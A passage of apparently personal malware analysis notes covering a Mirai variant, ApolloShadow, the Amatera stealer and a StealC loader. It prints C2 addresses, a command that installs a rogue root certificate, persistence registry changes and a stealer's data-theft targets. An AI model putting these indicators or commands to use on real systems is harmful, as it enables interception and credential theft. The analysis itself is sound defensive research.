fork() -> creates child process with PID 5489 (0x1571)
Key Debugging Point: As you can see, Mirai uses fork() at this critical juncture, spawning a child process with PID 5489. Use this PID to attach GDB to debug the child process - this is where the main malicious activity typically occurs.
Process Enumeration & System Reconnaissance
The malware systematically scans running processes by reading /proc/[PID]/cmdline files:
Target Process Discovery:
-
/proc/1595/cmdline- Initial process scanning -
/usr/bin/pipewire-pulse- Audio service -
/usr/bin/dbus-daemon- System message bus -
/usr/bin/gnome-keyring-daemon- Credential management -
/usr/libexec/xdg-document-portal- Document access service -
/usr/libexec/xdg-permission-store- Permission management -
/usr/libexec/gdm-wayland-session- Display manager session -
/usr/libexec/gnome-session-binary- GNOME session manager -
/usr/libexec/gcr-ssh-agent- SSH key management -
/usr/bin/gnome-shell- Desktop environment
Pattern Analysis: The malware specifically targets GNOME desktop environment processes, suggesting it’s designed to operate on Linux desktop systems rather than just embedded IoT devices.
Data Extraction Methodology
Each process enumeration follows this pattern:
# Pattern observed in GDB trace
open("/proc/1595/cmdline", O_RDONLY) = 4
read(4, "/usr/bin/pipewire-pulse\0", 4096) = 24
close(4) = 0
open("/proc/1596/cmdline", O_RDONLY) = 4
read(4, "/usr/bin/dbus-daemon\0--config-file...", 4096) = 106
close(4) = 0
GDB Debugging Technique:
# Set breakpoint on read syscalls
(gdb) catch syscall read
# When stopped, examine EBP register contents
(gdb) x/s $ebp
# Extract strings automatically with:
(gdb) python print(gdb.execute("x/s $ebp", to_string=True))
C2 Communication Indicators
The time-based operations combined with network socket creation suggest the malware communicates with its C2 server (103.19.163.174) using time-synchronized protocols:
# Observed communication pattern
C2_SERVER = "103.19.163.174"
timestamp = 0x689de511 # 1755178257
# Time-based authentication logic
if current_time >= target_timestamp:
connect_to_c2(C2_SERVER)
send_heartbeat()
The specific timestamp checking indicates it may:
-
Wait for specific time windows to connect
-
Use time as part of its authentication mechanism
-
Coordinate attacks based on synchronized timing
Key Technical Insights
-
Anti-Analysis Features: The signal handling and stack size manipulation suggest anti-debugging capabilities
-
System Profiling: Extensive process enumeration indicates the malware profiles its environment before execution
-
Time-Based Execution: The temporal controls suggest coordinated botnet behavior
-
Desktop Targeting: Process targeting reveals adaptation for desktop Linux environments
Conclusion
This Mirai variant demonstrates sophisticated system reconnaissance capabilities, using process enumeration to understand its execution environment. The time-based controls and C2 communication patterns reveal a well-orchestrated botnet architecture designed for coordinated attacks.
For researchers: Focus your analysis on the forked child process (PID 5489) and monitor the time-based execution triggers to understand the full attack lifecycle.
IOC
0dad0cc96ea8239f5e5c15a7b1e01db862c1bb93bf01d551324309ea1b628e9b/
ApolloShadow
Backdoor
What is ApolloShadow?
ApolloShadow has the capability to install a trusted root certificate to trick devices into trusting malicious actor-controlled sites, enabling Secret Blizzard to maintain persistence on diplomatic devices, likely for intelligence collection. -Malpedia
Small Story
This malware is used in a campaign where Secret Blizzard has been targeting embassies located in Moscow using an adversary-in-the-middle (AiTM) position. Microsoft has written report about this malware in 2025-07-31. Which I didn’t actually read because, I wanted to find out everything by myself and have some practice. The sample is provided in MalwareBazaar thanks to “smica83”.
Static Analysis
This time, I want to write about analysis part-bypart, like this. Static Analysis of malware actually reveals a lot. It is a 64-bit C++ compiled executable with NX stack and ASLR is enabled by default. The sections of the executable are: .text, .rdata (and _RDATA) , .data, .pdata, .rsrc, .reloc The entropy of sections are under 7, which means executable is not packed, just checking out executable in ghidra also reveals it is not ecrypted but it uses some encryption for sure.
Strings
The questionable and uncommon strings I found were:
| Location | String Value | String Representation | Data Type |
|---|---|---|---|
| 140022948 | 0123456789abcdefghijklmnopqrstuvwxyz | “0123456789abcdefghijklmnopqrstuvwxyz” | ds |
| 140022998 | 0123456789abcdefghijklmnopqrstuvwxyz | “0123456789abcdefghijklmnopqrstuvwxyz” | ds |
| 14002a0d0 | September | u“September“ | unicode |
| 14002a0e8 | October | u“October“ | unicode |
| 14002a0f8 | November | u“November“ | unicode |
| 14002a110 | December | u“December“ | unicode |
| 14002a138 | MM/dd/yy | u“MM/dd/yy“ | unicode |
| 14002a150 | dddd, MMMM dd, yyyy | u“dddd, MMMM dd, yyyy“ | unicode |
| 14002a178 | HH:mm:ss | u“HH:mm:ss“ | unicode |
| 14002cf78 | south-korea | u“south-korea“ | unicode |
| 14002cf90 | trinidad & tobago | u“trinidad & tobago“ | unicode |
| 14002cfb8 | united-kingdom | u“united-kingdom“ | unicode |
| 14002cfd8 | united-states | u“united-states“ | unicode |
| 14002e0c8 | de-DE | u“de-DE“ | unicode |
| 14002e248 | sl-SI | u“sl-SI“ | unicode |
| 14002e350 | hi-IN | u“hi-IN“ | unicode |
| 14002e3e8 | bn-IN | u“bn-IN“ | unicode |
| 1400316f0 | certutil.exe -f -Enterprise -addstore | u“certutil.exe -f -Enterprise -addstore “ | unicode |
| 140031740 | root | u“root“ | unicode |
| 140031780 | timestamp.digicert.com | u“timestamp.digicert.com“ | unicode |
| 1400317b0 | /registered | u“/registered“ | unicode |
| 1400317d8 | HTTP/1.0 | u“HTTP/1.0“ | unicode |
| 140031e20 | ABCDEFGHIJKLMNOPQRSTUVWXYZabcedfghijklmnopqrstuvwxyz0123456789+/ | u“ABCDEFGHIJKLMNOPQRSTUVWXYZabcedfghijklmnopqrstuvwxyz0123456789+/“ | unicode |
As you can see I didn’t actually list every string possible, like keyboard and date related strings. But just looking at these strings we can see it utilizes cerutils.exe and does Internet related things. Also we can see it (probably) send request to timestamp.digicert.com, if you don’t know what it is used for, a little research reveals: “DigiCert’s timestamp service, accessible at http://timestamp.digicert.com, is primarily used to cryptographically timestamp digital signatures on software code, documents, or other files. This service ensures that the signature remains valid even after the original signing certificate expires or is revoked, providing long-term trust and integrity for signed materials”
So this (even though we don’t have any proof yet) reveals, malware uses this technique to show some malicious executable legit.
Imports
Luckily for most of the functions (maybe all) executable doesn’t use dynamic API resolution technique. So we can already get a lot about malware’s purpose. Next I want to list some common APIs used in malwares.
| Functions |
|---|
| HttpOpenRequestW |
| InternetOpenW |
| HttpSendRequestW |
| InternetCloseHandle |
| InternetConnectW |
| CreateDirectoryW |
| WriteFile |
| GetTempPathW |
| CreateFileW |
| DeleteFileW |
| CreateThread |
| CreateProcessW |
| RegEnumValueW |
| RegOpenKeyW |
| RegOpenKeyExW |
| RegCreateKeyExW |
| RegCloseKey |
| GetProcAddress |
| FreeLibrary |
| LoadLibraryExW |
These are some functions that caught my eye, which commonly found in malwares. I don’t think explaining every function purpose is important, as their name alone explains a lot. But if you don’t know any of them check out microsoft documentation.
Junk Functions?
Even though it mostly looks like, malware is not obfuscated a single bit, there are some functions which make 0 sense and probably used for wasting researcher’s time.


Even though these doesn’t make sense in static decompilation (and disassembly of these functions are mostly broken), we might get something from these in dynamic analysis.
The things is, main part of the malware is as clear as it can be, so that is a little bit weird:


Dynamic Analysis
Dynamic execution shows some results of adding and sdjusting some registry keys and sending requests to http://timestamp.digicert.com, the request I caught for my sample of malware was: /request=DQAAAAAAAAAOAAAAAAAAABMAAAAIAAAABAAAAAIAAAAFAAAAAAAAAA8AAAAAAAAA&t=MTkyLjE2OC4xMjIuOTUgMFItMFQtMAAtMKMtMBAtMAQNCjEyNy4wLjAuMSANCi==
The t variable decodes to:
192.168.122.95 0R-0T-0�-0-0-0 127.0.0.1
I couldn’t get much about that ip address, the only thing shodan gave me was:
Microsoft RPC Endpoint Mapper d95afe70-a6d5-4259-822e-2c84da1ddb0d version: v1.0 protocol: [MS-RSP]: Remote Shutdown Protocol provider: wininit.exe ncacn_ip_tcp: 192.168.122.95:49152 ncalrpc: WindowsShutdown ncacn_np: \\WIN-H1K3TN5SIJM\PIPE\InitShutdown ncalrpc: WMsgKRpc067700
Windows Registry Changes
Keys Added
| Registry Key |
|---|
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.1!7 |
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.2!7 |
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.3!7 |
HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates\DE5973EDDDE83761DBD52BF41561922D2FE9BA30 |
HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\6AA75533FCA445212D4FA39F9A691B8327A004DB |
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts |
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList |
HKLM\SOFTWARE\WOW6432Node\Microsoft\EnterpriseCertificates\CA\Certificates\DE5973EDDDE83761DBD52BF41561922D2FE9BA30 |
HKLM\SOFTWARE\WOW6432Node\Microsoft\EnterpriseCertificates\Root\Certificates\6AA75533FCA445212D4FA39F9A691B8327A004DB |
Values Added
| Registry Path | Value Name | Value Data |
|---|---|---|
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.1!7 | Name | “szOID_ROOT_PROGRAM_AUTO_UPDATE_CA_REVOCATION” |
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.2!7 | Name | “szOID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION” |
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.3!7 | Name | “szOID_ROOT_PROGRAM_NO_OCSP_FAILOVER_TO_CRL” |
HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates\DE5973EDDDE83761DBD52BF41561922D2FE9BA30 | Blob | 03 00 00 00 … |
HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\6AA75533FCA445212D4FA39F9A691B8327A004DB | Blob | 03 00 00 00 … |
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System | LocalAccountTokenFilterPolicy | 0x00000001 |
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList | UpdatusUser | 0x00000000 |
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\VolatileNotifications | 41C64E6DA318D055 | 01 00 04 80 … |
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Policies\System | LocalAccountTokenFilterPolicy | 0x00000001 |
HKLM\SOFTWARE\WOW6432Node\Microsoft\EnterpriseCertificates\CA\Certificates\DE5973EDDDE83761DBD52BF41561922D2FE9BA30 | Blob | 03 00 00 00 … |
HKLM\SOFTWARE\WOW6432Node\Microsoft\EnterpriseCertificates\Root\Certificates\6AA75533FCA445212D4FA39F9A691B8327A004DB | Blob | 03 00 00 00 … |
User-Specific Values Added
| Registry Path | Value Name | Value Data |
|---|---|---|
HKU\S-1-5-21-404113094-2314533783-440825805-1001\SOFTWARE\Classes\Local Settings\MuiCache\152\417C44EB | @%systemroot%\system32\wsdapi.dll,-200 | “Trusted Devices” |
HKU\S-1-5-21-404113094-2314533783-440825805-1001\SOFTWARE\Classes\Local Settings\MuiCache\152\417C44EB | @C:\Windows\System32\AppxPackaging.dll,-1001 | “Trusted Packaged App Installation Authorities” |
HKU\S-1-5-21-404113094-2314533783-440825805-1001\SOFTWARE\Classes\Local Settings\MuiCache\152\417C44EB | @%SystemRoot%\System32\SessEnv.dll,-101 | “Remote Desktop” |
HKU\S-1-5-21-404113094-2314533783-440825805-1001\SOFTWARE\Classes\Local Settings\MuiCache\152\417C44EB | @%SystemRoot%\System32\CertCA.dll,-304 | “Endorsement Key Trusted Root Certification Authorities” |
HKU\S-1-5-21-404113094-2314533783-440825805-1001\SOFTWARE\Classes\Local Settings\MuiCache\152\417C44EB | @%SystemRoot%\System32\CertCA.dll,-305 | “Endorsement Key Intermediate Certification Authorities” |
HKU\S-1-5-21-404113094-2314533783-440825805-1001_Classes\Local Settings\MuiCache\152\417C44EB | @%systemroot%\system32\wsdapi.dll,-200 | “Trusted Devices” |
HKU\S-1-5-21-404113094-2314533783-440825805-1001_Classes\Local Settings\MuiCache\152\417C44EB | @C:\Windows\System32\AppxPackaging.dll,-1001 | “Trusted Packaged App Installation Authorities” |
HKU\S-1-5-21-404113094-2314533783-440825805-1001_Classes\Local Settings\MuiCache\152\417C44EB | @%SystemRoot%\System32\SessEnv.dll,-101 | “Remote Desktop” |
HKU\S-1-5-21-404113094-2314533783-440825805-1001_Classes\Local Settings\MuiCache\152\417C44EB | @%SystemRoot%\System32\CertCA.dll,-304 | “Endorsement Key Trusted Root Certification Authorities” |
HKU\S-1-5-21-404113094-2314533783-440825805-1001_Classes\Local Settings\MuiCache\152\417C44EB | @%SystemRoot%\System32\CertCA.dll,-305 | “Endorsement Key Intermediate Certification Authorities” |
Issue
I just realized to move on with malware we actually need a response from C2 server, which will not be possible in my case and I couldn’t find any network logs or anything related to this incident. So I had to check out microsoft’s report about this case. The “junk code” we found earlier is actually used later on for malware to decrypt some strings as written in microsoft’s report. So this was actually all I could do about this malware, to dive deep in, check out the microsoft’s report.
AmateraStealer
Stealer
What is Amatera?
“Amatera is a stealer written in C++. It conducts anti-sandbox analysis before enumerating browsers, exfiltrating found cryptocurrency files/wallets and possibly credentials.” -malpedia
Static Analysis
Headers
Starting out with analysis, I use CFF explorer to find out some capabilities. It is a 64 bit PE compiled using Visual Studio, written in C/C++. NX (non-executable stack) is on for this executable. Sections: .text, .rdata, .data, .pdata, .reloc. One important finding was imports of the executable, it only imports 2 functions from KERNEL32.dll: LoadLibraryW and GetProcAddress, we already know it resolves API dynamically
Strings
Looking at the strings, it can be seen, some of them are encrypted, which might need to let malware execute and decrypt them by itself. But there are still some clear strings, which exposes some functionalities of malware:
Anti-Debug/Anti-VM Detection Functions
| Address | String | Description |
|---|---|---|
| 14000a020 | IsDebuggerPresent | Detects if debugger is attached |
| 14000a038 | GetCurrentProcess | Gets current process handle |
| 14000a050 | CheckRemoteDebuggerPresent | Checks for remote debugging |
Virtualization/Sandbox Detection Strings
| Address | String | Description |
|---|---|---|
| 14000a070 | VirtualBox | VM detection string |
| 14000a07c | VMware | VM detection string |
| 14000a098 | Hyper-V | VM detection string |
| 14000a0a0 | Microsoft | VM vendor detection |
Registry Access Functions
| Address | String | Description |
|---|---|---|
| 14000a0e8 | RegGetValueA | Registry value retrieval (ANSI) |
| 14000a138 | RegGetValueA | Registry value retrieval (ANSI) |
| 14000a188 | RegGetValueA | Registry value retrieval (ANSI) |
| 14000a2a8 | RegGetValueW | Registry value retrieval (Unicode) |
| 14000a318 | RegGetValueW | Registry value retrieval (Unicode) |
| 14000ae50 | RegOpenKeyExW | Opens registry key (Unicode) |
| 14000ae78 | RegGetValueW | Registry value retrieval (Unicode) |
| 14000aea0 | RegGetValueW | Registry value retrieval (Unicode) |
| 14000aec0 | RegCloseKey | Closes registry key |
| 14000b448 | RegOpenKeyExW | Opens registry key (Unicode) |
| 14000b458 | RegEnumKeyExW | Enumerates registry keys |
| 14000b480 | RegGetValueW | Registry value retrieval (Unicode) |
| 14000b4a8 | RegGetValueW | Registry value retrieval (Unicode) |
| 14000b4d0 | RegCloseKey | Closes registry key |
Registry Keys - System Information
| Address | String | Description |
|---|---|---|
| 14000a0c0 | HARDWARE\DESCRIPTION\System\BIOS | BIOS information registry path |
| 14000a110 | HARDWARE\DESCRIPTION\System\BIOS | BIOS information registry path |
| 14000a160 | HARDWARE\DESCRIPTION\System\BIOS | BIOS information registry path |
| 14000ae10 | SOFTWARE\Microsoft\Cryptography | Cryptography registry path |
| 14000af50 | SOFTWARE\Microsoft\Windows NT\CurrentVersion | Windows version registry path |
| 14000afe0 | SOFTWARE\Microsoft\Windows NT\CurrentVersion | Windows version registry path |
| 14000b080 | SOFTWARE\Microsoft\Windows NT\CurrentVersion | Windows version registry path |
| 14000b240 | HARDWARE\DESCRIPTION\System\CentralProcessor\0 | CPU information registry path |
| 14000b2e0 | HARDWARE\DESCRIPTION\System\CentralProcessor\0 | CPU information registry path |
| 14000b3e0 | SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall | Installed software registry path |
Registry Values - System Information
| Address | String | Description |
|---|---|---|
| 14000a0b0 | BIOSVendor | BIOS vendor registry value |
| 14000a0f8 | SystemProductName | System product name registry value |
| 14000a148 | SystemManufacturer | System manufacturer registry value |
| 14000ae60 | MachineGuid | Machine GUID registry value |
| 14000ae88 | MachineGuid | Machine GUID registry value |
| 14000af30 | ProductName | Product name registry value |
| 14000afc0 | ProductName | Product name registry value |
| 14000b060 | InstallDate | Installation date registry value |
| 14000b210 | ProcessorNameString | Processor name registry value |
| 14000b2b0 | ProcessorNameString | Processor name registry value |
| 14000b468 | DisplayName | Display name registry value |
| 14000b490 | DisplayName | Display name registry value |
Network Communication
| Address | String | Description |
|---|---|---|
| 14000a1c0 | Authorization: | HTTP authorization header |
| 14000a1d8 | /core/createSession | API endpoint for session creation |
| 14000a1f0 | afdprox.icu | C&C server domain |
| 14000a208 | /core/sendPart | API endpoint for data transmission |
| 14000a220 | afdprox.icu | C&C server domain |
Internet/HTTP Functions
| Address | String | Description |
|---|---|---|
| 14000a9d0 | InternetOpenA | Opens internet connection |
| 14000a9e0 | InternetConnectA | Connects to internet server |
| 14000a9f8 | HttpOpenRequestA | Opens HTTP request |
| 14000aa10 | HttpSendRequestA | Sends HTTP request |
| 14000aa28 | InternetReadFile | Reads internet file |
| 14000aa40 | InternetCloseHandle | Closes internet handle |
| 14000aa58 | InternetCloseHandle | Closes internet handle |
| 14000aa70 | InternetCloseHandle | Closes internet handle |
Application Paths - Steam
| Address | String | Description |
|---|---|---|
| 14000a240 | InstallPath | Steam installation path value |
| 14000a260 | SOFTWARE\WOW6432Node\Valve\Steam | Steam registry path |
| 14000a2b8 | InstallPath | Steam installation path value |
| 14000a2d0 | SOFTWARE\WOW6432Node\Valve\Steam | Steam registry path |
| 14000a328 | \config | Steam config directory |
| 14000a338 | *.vdf | Steam VDF files pattern |
| 14000a348 | Steam | Steam identifier |
Application Paths - Telegram
| Address | String | Description |
|---|---|---|
| 14000a360 | %appdata%\Telegram Desktop\tdata | Telegram data directory |
| 14000a3b0 | dumps | Telegram dumps directory |
| 14000a3c0 | emoji | Telegram emoji directory |
| 14000a3d0 | tdummy | Telegram dummy files |
| 14000a3e0 | temp | Telegram temp directory |
| 14000a3f0 | user_data | Telegram user data |
| 14000a408 | Telegram | Telegram identifier |
Browser Data Paths
| Address | String | Description |
|---|---|---|
| 14000a420 | applications | Browser applications |
| 14000a440 | \Local State | Browser local state file |
| 14000a460 | state_key | Browser state key |
| 14000a478 | files | Browser files |
| 14000a488 | chromium_apps | Chromium applications |
| 14000a4a8 | \Local State | Browser local state file |
| 14000a4c8 | state_key | Browser state key |
| 14000a4f0 | app_bound_key | Browser app-bound key |
| 14000a518 | \Local Extension Settings|Browser extension settings path | |
| 14000a558 | files | Browser files |
| 14000a568 | extensions | Browser extensions |
| 14000a580 | profiles | Browser profiles |
| 14000a598 | chromium | Chromium identifier |
| 14000a958 | \Profiles | Browser profiles directory |
| 14000a978 | gecko | Gecko browser engine |
Cryptographic Functions
| Address | String | Description |
|---|---|---|
| 14000a5b0 | CryptUnprotectData | Windows DPAPI decryption |
| 14000a5c8 | LocalFree | Frees local memory |
| 14000a5d8 | “encrypted_key”:“ | JSON key for encrypted data |
| 14000a658 | “app_bound_encrypted_key”:“ | JSON key for app-bound encrypted data |
Process Management Functions
| Address | String | Description |
|---|---|---|
| 14000a5f0 | CreateToolhelp32Snapshot | Creates process snapshot |
| 14000a610 | Process32FirstW | Gets first process |
| 14000a620 | OpenProcess | Opens process handle |
| 14000a630 | TerminateProcess | Terminates process |
| 14000a648 | Process32NextW | Gets next process |
| 14000a678 | CreateProcessW | Creates new process |
| 14000a688 | msedge.exe | Microsoft Edge executable |
| 14000aa88 | OpenProcess | Opens process handle |
| 14000ab00 | CloseHandle | Closes handle |
| 14000ab10 | WaitForSingleObject | Waits for object |
| 14000b4e0 | CreateToolhelp32Snapshot | Creates process snapshot |
| 14000b500 | Process32FirstW | Gets first process |
| 14000b510 | Process32NextW | Gets next process |
| 14000b520 | CloseHandle | Closes handle |
Memory Management Functions
| Address | String | Description |
|---|---|---|
| 14000a998 | HeapAlloc | Allocates heap memory |
| 14000a9a8 | HeapReAlloc | Reallocates heap memory |
| 14000a9b8 | HeapFree | Frees heap memory |
| 14000aa98 | VirtualAllocEx | Allocates virtual memory in process |
| 14000aaa8 | VirtualFreeEx | Frees virtual memory in process |
| 14000aab8 | WriteProcessMemory | Writes to process memory |
| 14000aad0 | ReadProcessMemory | Reads from process memory |
| 14000aae8 | CreateRemoteThread | Creates thread in remote process |
| 14000ac40 | GetProcessHeap | Gets process heap |
File System Functions
| Address | String | Description |
|---|---|---|
| 14000a850 | FindFirstFileW | Finds first file |
| 14000a870 | FindNextFileW | Finds next file |
| 14000a888 | FindFirstFileW | Finds first file |
| 14000a8b0 | FindNextFileW | Finds next file |
| 14000a8d0 | FindFirstFileW | Finds first file |
| 14000a8f0 | FindNextFileW | Finds next file |
| 14000a900 | GetFileSize | Gets file size |
| 14000a910 | CreateFileW | Creates/opens file |
| 14000a920 | CloseHandle | Closes handle |
| 14000a930 | ReadFile | Reads from file |
| 14000a940 | GetFileAttributesW | Gets file attributes |
System Information Functions
| Address | String | Description |
|---|---|---|
| 14000a198 | GetPhysicallyInstalledSystemMemory | Gets installed RAM |
| 14000aed0 | GetComputerNameW | Gets computer name |
| 14000af08 | GetUserNameW | Gets username |
| 14000b110 | GetUserDefaultLocaleName | Gets system locale |
| 14000b140 | GetDynamicTimeZoneInformation | Gets timezone info |
| 14000b1a0 | EnumDisplaySettingsW | Gets display settings |
| 14000b1d8 | EnumDisplayDevicesW | Enumerates display devices |
| 14000b368 | GetPhysicallyInstalledSystemMemory | Gets installed RAM |
| 14000b3a8 | GetModuleFileNameW | Gets module filename |
| 14000b550 | EnumDisplaySettingsW | Gets display settings |
Screenshot and Clipboard Functions
| Address | String | Description |
|---|---|---|
| 14000b568 | GetDC | Gets device context |
| 14000b570 | CreateCompatibleDC | Creates compatible DC |
| 14000b588 | CreateCompatibleBitmap | Creates compatible bitmap |
| 14000b5a0 | SelectObject | Selects object into DC |
| 14000b5b0 | BitBlt | Bit block transfer |
| 14000b5b8 | GetObjectA | Gets object information |
| 14000b5c8 | GetDIBits | Gets bitmap bits |
| 14000b5f0 | SelectObject | Selects object into DC |
| 14000b600 | DeleteObject | Deletes object |
| 14000b610 | DeleteDC | Deletes device context |
| 14000b620 | ReleaseDC | Releases device context |
| 14000b630 | OpenClipboard | Opens clipboard |
| 14000b640 | GetClipboardData | Gets clipboard data |
| 14000b658 | CloseClipboard | Closes clipboard |
| 14000b668 | GlobalLock | Locks global memory |
| 14000b678 | CloseClipboard | Closes clipboard |
| 14000b6a0 | GlobalUnlock | Unlocks global memory |
| 14000b6b0 | CloseClipboard | Closes clipboard |
String Conversion Functions
| Address | String | Description |
|---|---|---|
| 14000a6a0 | MultiByteToWideChar | Converts multibyte to wide char |
| 14000a6b8 | WideCharToMultiByte | Converts wide char to multibyte |
| 14000a6d0 | WideCharToMultiByte | Converts wide char to multibyte |
| 14000b6d8 | ExpandEnvironmentStringsW | Expands environment variables |
Environment Functions
| Address | String | Description |
|---|---|---|
| 14000a768 | APPDATA | APPDATA environment variable |
| 14000a778 | GetEnvironmentVariableW | Gets environment variable |
| 14000a7b0 | GetEnvironmentVariableW | Gets environment variable |
| 14000a7e8 | GetEnvironmentVariableW | Gets environment variable |
| 14000a818 | GetEnvironmentVariableW | Gets environment variable |
Dynamic Loading Functions
| Address | String | Description |
|---|---|---|
| 14000ab28 | GetModuleHandleA | Gets module handle |
| 14000ab40 | RtlInitUnicodeString | Initializes Unicode string |
| 14000ab58 | LdrLoadDll | Loads DLL |
| 14000b99c | LoadLibraryW | Loads library (Unicode) |
| 14000b98a | GetProcAddress | Gets procedure address |
| 14000d4e6 | GetProcAddress | Gets procedure address |
| 14000d4f8 | LoadLibraryA | Loads library (ANSI) |
System DLLs
| Address | String | Description |
|---|---|---|
| 14000ab68 | Kernel32.dll | Windows kernel library |
| 14000ab88 | Crypt32.dll | Cryptography library |
| 14000aba0 | User32.dll | User interface library |
| 14000abb8 | Advapi32.dll | Advanced Windows API |
| 14000abd8 | Wininet.dll | Windows internet library |
| 14000abf0 | Gdi32.dll | Graphics device interface |
| 14000ac08 | Ole32.dll | Object linking and embedding |
| 14000ac20 | OleAut32.dll | OLE automation library |
| 14000b9aa | KERNEL32.dll | Windows kernel library |
| 14000d21c | ole32.dll | Object linking and embedding |
| 14000d27c | oleaut32.dll | OLE automation library |
| 14000d506 | KERNEL32.dll | Windows kernel library |
COM Functions
| Address | String | Description |
|---|---|---|
| 14000d22c | CoInitializeEx | Initializes COM library |
| 14000d23c | CoUninitialize | Uninitializes COM library |
| 14000d24c | CoCreateInstance | Creates COM object instance |
| 14000d264 | CoSetProxyBlanket | Sets COM proxy security |
| 14000d28c | SysAllocStringByteLen | Allocates BSTR |
| 14000d2a4 | SysFreeString | Frees BSTR |
Configuration/Target Data
| Address | String | Description |
|---|---|---|
| 14000ac50 | session_id | Session identifier |
| 14000ac60 | grabber_rules | Data grabbing rules |
| 14000ac88 | gecko_paths | Firefox browser paths |
| 14000aca0 | gecko_files | Firefox browser files |
| 14000acb8 | chromium_browsers | Chromium-based browsers |
| 14000ad38 | chromium_files | Chromium browser files |
| 14000ad50 | chromium_extensions | Chromium extensions |
| 14000ad70 | chromium_apps | Chromium applications |
| 14000ada8 | applications | Applications target |
| 14000add8 | desktop_wallets | Desktop wallet applications |
| 14000a6e8 | desktop_wallets | Desktop wallet applications |
System Information Fields
| Address | String | Description |
|---|---|---|
| 14000aeb0 | guid | Machine GUID |
| 14000aee8 | computer_name | Computer name |
| 14000af18 | username | Username |
| 14000b050 | os_name | Operating system name |
| 14000b0f0 | install_date | OS installation date |
| 14000b130 | locale | System locale |
| 14000b160 | timezone_name | Timezone name |
| 14000b180 | timezone_bias | Timezone bias |
| 14000b1c0 | resolution | Screen resolution |
| 14000b1f0 | video_card_name | Graphics card name |
| 14000b350 | cpu_name | CPU name |
| 14000b390 | total_ram | Total RAM |
| 14000b3c0 | start_path | Executable start path |
| 14000b4b8 | software | Installed software |
| 14000b530 | process_list | Running processes |
| 14000b5d8 | screenshot | Screenshot data |
| 14000b688 | clipboard | Clipboard content |
| 14000b6c0 | system_info | System information |
Miscellaneous
| Address | String | Description |
|---|---|---|
| 14000a1fc | Sleep | Sleep function |
| 14000a22c | Sleep | Sleep function |
| 14000a4e0 | NONE | None value |
| 14000a708 | ExitProcess | Exit process function |
| 14000a718 | b0b12e32-2f73-41fc-9031-307e8fdbc5d4 | GUID identifier |
| 14000a740 | test_5 | Test identifier |
| 14000a750 | build_id | Build identifier |
| 14000a988 | grabber | Grabber identifier |
| 14000ad98 | true | Boolean true value |
| 14000adc8 | true | Boolean true value |
| 14000adf8 | true | Boolean true value |
| 14000d478 | ElevatorShell.exe | Executable name |
| 14000d48a | ?pData@@3PEAXEA | C++ mangled symbol |
Section Names
| Address | String | Description |
|---|---|---|
| 14000c9fb | .rdata | Read-only data section |
| 14000ca4c | .pdata | Exception handling data |
| 14000d340 | .rdata | Read-only data section |
| 14000d350 | .rdata$voltmd | Compiler metadata |
| 14000d390 | .edata | Export data section |
| 14000d3f0 | .data | Data section |
| 14000d400 | .pdata | Exception handling data |
Disassembly/Decompilation
To statically analyze executable, I will use ghidra.
Starting out, the first (custom) function that executable calls loads all libraries needed:

As LoadLibraryW returns handles to these DLLs, later on as you can see, it can use these handles to call functions, for example in this case it is “GetProcessHeap”. TO have understanding of how it looks like:

It is simple, get address of function and call it, there are also other functions (different for each function) to handle arguments too.
Moving on, malware calls another (custom) function that tries to create session with “afdprox.ciu” domain using authorization key of: “b0b12e32-2f73-41fc-9031-307e8fdbc5d4”

param_2 is “b0b12e32-2f73-41fc-9031-307e8fdbc5d4” and it sleeps for 10000ms (10 secs) and waits for an answer (it has to return 0).
and it tries to read 0x7ff bytes of data, which I would expect it to be either strings or a file dropped by malware later for some functionalities.

Dynamic Analysis
Sadly, as the domain this malware uses is down right now, it will not be possible to see full functionality of malware but as I listed strings before, nearly all of them explain whole purpose of malware, starting with:
- Check if executable is being debugged.
- Check if currently inside of a VM (checking registry keys)
- Create session using hardcoded authorization key
- Steal data such as Steam, telegram, chromium, gecko (firefox)
- Other information that malware looks for: Computer name, Username, ProductName, Os_Name, InstallDate, timezone, resolution, video card name, cpu name etc. it checks all these using registry.
- Another functionality of malware is taking screenshot:

(function is a little bit longer), this is just part of the screenshot to show it retrives information about graphic modes.
- It can get Clipboard data:

- And at the end, sends all these data parts by sending POST request to /core/sendPart to afdprox.icu domain.
StealC
Stealer
What is StealC?
“Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth’s statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.” -malpedia
Loader
Searching out stealc in malware bazaar, I found out 15mb stealc malware, it is 64 bit .NET assembly. It was highly obfuscated which made it so hard to analyze, but after finding the pattern, I could write a custom script in C# to deobfuscate it:

The thing is, in (almost) every method of executable, it calls a bunch of empty functions (actually they have 4 instructions but they do nothing):

and every time, it ends with calling different method from start, which does exactly same things.

Using these information, I could deobfuscate and lower file size to 7-8mb, which made things easier (I didn’t recover whole flow of executable I just removed these empty functions and all references to them).
After all these deobfuscation, I found out the important part in tree177 method:

